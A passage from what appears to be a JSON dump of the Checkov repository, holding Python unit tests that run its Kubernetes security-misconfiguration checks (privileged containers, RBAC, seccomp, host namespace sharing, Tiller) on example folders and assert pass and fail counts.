    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.NginxIngressCVE202125742Lua import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestNginxIngressCVE202125742Lua(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_NginxIngressCVE202125742\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 3)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_PeerClientCertAuthTrue.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.PeerClientCertAuthTrue import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestPeerClientCertAuthTrue(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_PeerClientCertAuthTrue\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n        self.assertEqual(1, summary['passed'])\n        self.assertEqual(2, summary['failed'])\n        for failed in report.failed_checks:\n            self.assertIn(\"should-fail\", failed.resource)\n        for passed in report.passed_checks:\n            self.assertIn(\"should-pass\", passed.resource)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_PodSecurityContext.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.PodSecurityContext import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestPodSecurityContext(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SecurityContexts\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_PrivilegedContainers.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.PrivilegedContainers import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestPrivilegedContainers(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_PrivilegedContainers\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_PrivilegedContainersPSP.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.PrivilegedContainersPSP import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestPrivilegedContainersPSP(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_PSP\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_RbacApproveCertificateSigningRequests.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.RbacApproveCertificateSigningRequests import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestRbacApproveCertificateSigningRequests(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_RbacApproveCertificateSigningRequests\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'ClusterRole.test.test-should-pass-1',\n            'ClusterRole.test.test-should-pass-2'\n        }\n        failing_resources = {\n            'ClusterRole.test.test-should-fail-1',\n            'ClusterRole.test.test-should-fail-2',\n            'ClusterRole.test.test-should-fail-3'\n        }\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_RbacBindRoleBindings.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.RbacBindRoleBindings import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestRbacBindRoleBindings(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_RbacBindRoleBindings\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'ClusterRole.test.test-should-pass-1',\n            'Role.test.test-should-pass-2',\n        }\n        failing_resources = {\n            'ClusterRole.test.test-should-fail-1',\n            'Role.test.test-should-fail-2'\n        }\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_RbacControlWebhooks.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.RbacControlWebhooks import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestRbacControlWebhooks(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_RbacControlWebhooks\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'ClusterRole.test.test-should-pass-1',\n            'ClusterRole.test.test-should-pass-2',\n        }\n        failing_resources = {\n            'ClusterRole.test.test-should-fail-1',\n            'ClusterRole.test.test-should-fail-2'\n        }\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_RbacEscalateRoles.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.RbacEscalateRoles import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestRbacEscalateRoles(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_RbacEscalateRoles\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'ClusterRole.test.test-should-pass-1',\n            'Role.test.test-should-pass-2',\n        }\n        failing_resources = {\n            'ClusterRole.test.test-should-fail-1',\n            'Role.test.test-should-fail-2'\n        }\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ReadOnlyFilesystem.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ReadOnlyFilesystem import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestReadOnlyFilesystem(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ReadOnlyFilesystem\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ReadinessProbe.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ReadinessProbe import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestReadinessProbe(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_LivenessReadiness\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_RootContainers.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.RootContainers import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestRootContainers(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_RootContainers\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 5)\n        self.assertEqual(summary['failed'], 7)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_RootContainersHighUID.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.RootContainersHighUID import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestRootContainersHighUID(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_RootContainersHighUID\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 3)\n        self.assertEqual(summary['failed'], 6)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_RootContainersPSP.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.RootContainersPSP import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestRootContainersPSP(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_RootContainersPSP\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_RotateKubeletServerCertificate.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.kubernetes.checks.resource.k8s.RotateKubeletServerCertificate import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestRotateKubeletServerCertificate(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_RotateKubeletServerCertificate\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Pod.kube-system.kube-controller-manager-enabled\",\n            \"Pod.kube-system.kubelet-enabled\",\n        }\n        failing_resources = {\n            \"Pod.kube-system.kube-controller-manager-disabled\",\n            \"Pod.kube-system.kubelet-disabled\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_SchedulerBindAddressy.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.SchedulerBindAddress import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSchedulerBindAddress(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SchedulerBindAddress\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        \n        \n        for record in report.failed_checks:\n            self.assertIn(\"FAILED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n            \n        for record in report.passed_checks:\n            self.assertIn(\"PASSED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_SchedulerProfiling.py",
    "content": "\nimport os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.SchedulerProfiling import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSchedulerProfiling(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SchedulerProfiling\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        \n        \n        for record in report.failed_checks:\n            self.assertIn(\"FAILED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n            \n        for record in report.passed_checks:\n            self.assertIn(\"PASSED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n\n\nif __name__ == '__main__':\n    unittest.main()\n        \n    "
  },
  {
    "path": "tests/kubernetes/checks/test_Seccomp.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.kubernetes.checks.resource.k8s.Seccomp import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSeccomp(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_Seccomp\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n        passed_resources = [check.resource for check in report.passed_checks]\n        failed_resources = [check.resource for check in report.failed_checks]\n\n        self.assertEqual(summary[\"passed\"], 12)\n        self.assertEqual(summary[\"failed\"], 4)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        expected_passed_resources = [\n            \"CronJob.default.cronjob-passed\",\n            \"CronJob.default.cronjob-passed2\",\n            \"CronJob.default.cronjob-passed3\",\n            \"CronJob.default.cronjob-securityContext-passed\",\n            \"Deployment.default.seccomp-passed-deployment\",\n            \"Deployment.default.seccomp-passed-metadata-annotations\",\n            \"Pod.default.seccomp-passed-metadata-annotations-docker\",\n            \"Pod.default.seccomp-passed-metadata-annotations-runtime\",\n            \"Pod.default.seccomp-passed-security-context\",\n            \"StatefulSet.default.RELEASE-NAME\",\n            \"Pod.default.my-secure-pod\",\n            \"Deployment.aws-dev.fdn-svc\",\n        ]\n        expected_failed_resources = [\n            \"CronJob.default.cronjob-failed\",\n            \"Deployment.infra.app-cert-manager\",\n            \"Pod.default.seccomp-failed\",\n            \"Pod.default.my-insecure-pod\",\n        ]\n        self.assertCountEqual(expected_passed_resources, passed_resources)\n        self.assertCountEqual(expected_failed_resources, failed_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_SeccompPSP.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.SeccompPSP import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSeccompPSP(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_PSP\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_Secrets.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.Secrets import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSecrets(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_Secrets\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ServiceAccountTokens.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ServiceAccountTokens import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestServiceAccountTokens(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ServiceAccountTokens\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ShareHostIPC.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ShareHostIPC import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass ShareHostIPC(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ShareHost\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 3)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ShareHostIPCPSP.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ShareHostIPCPSP import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass ShareHostIPCPSP(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_PSP\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ShareHostPID.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ShareHostPID import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass ShareHostPID(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ShareHost\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 3)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ShareHostPIDPSP.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ShareHostPIDPSP import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass ShareHostPIDPSP(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_PSP\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_SharedHostNetworkNamespace.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.SharedHostNetworkNamespace import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass SharedHostNetworkNamespace(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ShareHost\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 3)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_SharedHostNetworkNamespacePSP.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.SharedHostNetworkNamespacePSP import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass SharedHostNetworkNamespacePSP(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_PSP\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_SuppressedAnnotations.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.CPULimits import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestCPULimits(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_Suppressed\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 0)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 8)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_Tiller.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.Tiller import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestTiller(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_Tiller\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_TillerDeploymentListener.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.TillerDeploymentListener import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestTillerDeploymentListener(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_TillerDeploymentListener\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_TillerService.py",
